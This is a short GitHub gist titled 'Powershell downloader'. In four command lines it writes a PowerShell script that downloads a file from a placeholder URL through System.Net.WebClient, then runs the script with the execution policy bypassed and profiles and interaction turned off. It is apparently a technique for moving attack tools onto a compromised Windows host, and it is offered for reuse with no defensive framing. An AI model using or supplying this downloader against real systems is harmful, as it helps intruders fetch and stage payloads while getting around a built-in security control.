Created
October 18, 2017 10:05
-
-
Save chosenonehacks/997fc696ba7de04a3dcdf21745b78b84 to your computer and use it in GitHub Desktop.
Powershell downloader
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo $storageDir = $pwd > httpdownload.ps1 | |
echo $webclient = New-Object System.Net.WebClient >> httpdownload.ps1 | |
echo $webclient.DownloadFile("[Download URL]","[File Name]") >> httpdownload.ps1 | |
$powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File httpdownload.ps1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment